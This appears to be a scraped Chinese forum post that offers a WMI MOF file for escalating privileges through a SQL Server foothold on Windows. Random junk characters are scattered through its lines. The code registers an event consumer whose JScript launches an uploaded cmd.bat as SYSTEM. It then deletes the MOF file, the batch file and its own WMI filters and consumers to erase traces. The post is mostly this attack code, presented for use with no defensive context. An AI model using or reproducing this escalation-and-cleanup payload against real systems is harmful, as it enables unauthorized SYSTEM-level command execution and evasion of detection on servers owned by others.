这个sql提权MOF需要运行 system下的文件,不能定义路径。9 l* C% z* e1 k+ Q! S
需要将要运行的命令写入到bat上传到system32目录,然后执行。: _2 r( t2 Z Z; A
$ c) d- i/ H9 M9 \. g6 C) @: H
这个sql提权MOF需要运行 system下的文件,不能定义路径。
( k5 B7 g! v6 o需要将要运行的命令写入到bat上传到system32目录,然后执行。
" {/ \& m W, J* X6 k9 R) F( t, L- `: G. _# q4 h9 Y
#pragma9 q+ i3 }' T- n5 g. J5 T6 R
namespace("\\\\.\\root\\cimv2")
5 g3 q: J6 m$ p6 w6 U) T1 J7 | class! f2 U, ]* E0 K7 B, h
MyClass547
% P0 M. G1 T- h9 q. D/ y { [key]9 Y4 \& d1 ^3 n. U x
string
. B8 c `2 T, c; s# u# H2 ^ Name;
; d% P4 P8 ~- n( z+ O/ D };
2 W H6 t! r: X1 q2 m class
$ D; x; s! I! x0 I' ?" Y6 ` ActiveScriptEventConsumer
8 D$ D# j) p" R8 `3 Q : __EventConsumer { [key]: g- Y- r* N Q9 W7 l
string ?0 u- K8 ^3 ^ e; g, A) c
Name; [not_null]
) G3 Y, @+ E& k: s5 e" R8 K1 k string
. e" G7 t' J7 |! D" {+ D ScriptingEngine; string
2 ?# R' K- n8 h7 E9 x- q ScriptFileName; [template]
7 \% L) q7 p5 P; a7 Q' M2 G string
- X2 j! M9 z2 q+ N8 w3 w6 E ScriptText; uint32 KillTimeout;
. Q$ q& J/ _" g- s3 P2 r" P7 t }; instance of __Win32Provider as $P {' G# Q" J6 g- [2 R$ C% i
Name3 [6 f& ]' Y3 I/ A4 ?5 [
=
2 }- S; Y! c h/ w7 x7 Z "ActiveScriptEventConsumer"; CLSID =
8 f9 k. H9 s2 @# k; i9 M "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
$ ~7 \& H" S" ] PerUserInitialization X3 e# y& F. h: E0 s% p9 f
= TRUE;
9 n* \$ z: P2 Y% E }; instance of __EventConsumerProviderRegistration { Provider
5 _% `4 d7 q: h, _: z& I = $P; ConsumerClassNames
# C- @% H: g) M2 ~9 ^. k- p/ u =
" B( g( p. S* m" k% a) K) w* O1 D7 r/ B {"ActiveScriptEventConsumer"}; F9 R& J: i2 T' P* _' v) g" M
};# B0 U* f1 c2 V% y# A+ R, m2 J( d
Instance of ActiveScriptEventConsumer
/ T8 q$ Q4 Q5 o5 y+ } as $cons { Name
5 S& u+ G" Q- Z, W/ { =% q/ f) T+ V4 x
"ASEC"; ScriptingEngine
$ F: K6 D3 p0 g1 i3 s =) C. r" M9 B3 F% f" A7 _
"JScript"; ScriptText: ~$ N( z% }: e9 U% Q+ j3 u
=! A4 U8 a4 I) n, o+ u0 t
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
3 W: N+ ^9 h+ p( |$ I4 C Instance of ActiveScriptEventConsumer: x E0 y: w1 G. U8 i/ o
as $cons2 { Name
# W$ A! o! M- \ =9 r# t( k% S: L# B
"qndASEC"; ScriptingEngine
+ I; s0 B0 \+ K! E; u =" T1 M7 q, c1 x4 p- d* v! v7 _3 T
"JScript"; ScriptText
1 q" J& O- Z6 D) _. M =
& R& h$ j/ M F& i% u& p+ A "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
9 B' A6 [+ R5 z% U2 k }; instance of __EventFilter as $Filt { Name- N0 p5 b2 K4 ^, @( S7 E* k
=
4 l, w, |! z% \) u$ P& Z "instfilt"; Query
: I* e* P1 V- V- g1 e! W* E =
, s/ W' R; p' L "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
- R6 z* d. H& O$ c8 k) X. R3 f8 ^ i; o =
2 D/ Q/ Q. P1 W! [1 @ "WQL"; }; instance of __EventFilter as $Filt2 { Name
% p: r0 m. z( ~2 x/ i' U =8 V( R; s+ _& j* |
"qndfilt"; Query
6 W, Q& X3 n9 V, `1 ~: N =& P' {9 b! N/ E9 T
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage) Y* w' Z# k% T9 \: C
=/ t" D9 X- ?9 _
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer+ ~& b2 _8 M6 |7 A
= $cons; Filter
2 b2 l: w& H) Y/ i) g0 G = $Filt;
9 z: B1 X4 k7 J+ g; _ }; instance of __FilterToConsumerBinding as $bind2 { Consumer J1 t" P0 ~+ F2 b. d
= $cons2; Filter+ U6 o- j4 ` {( o7 }5 N% t8 z+ ?, V
= $Filt2;7 S) A" w. |7 P; ~
}; instance of MyClass547) q0 W. _, {9 X+ V3 {; w
as $MyClass { Name
7 y, B2 ?. y7 D! g9 {4 R =
|2 x3 P0 w- i$ s "ClassConsumer"; ^: L4 O* X6 ~: J: T7 H: v
}; |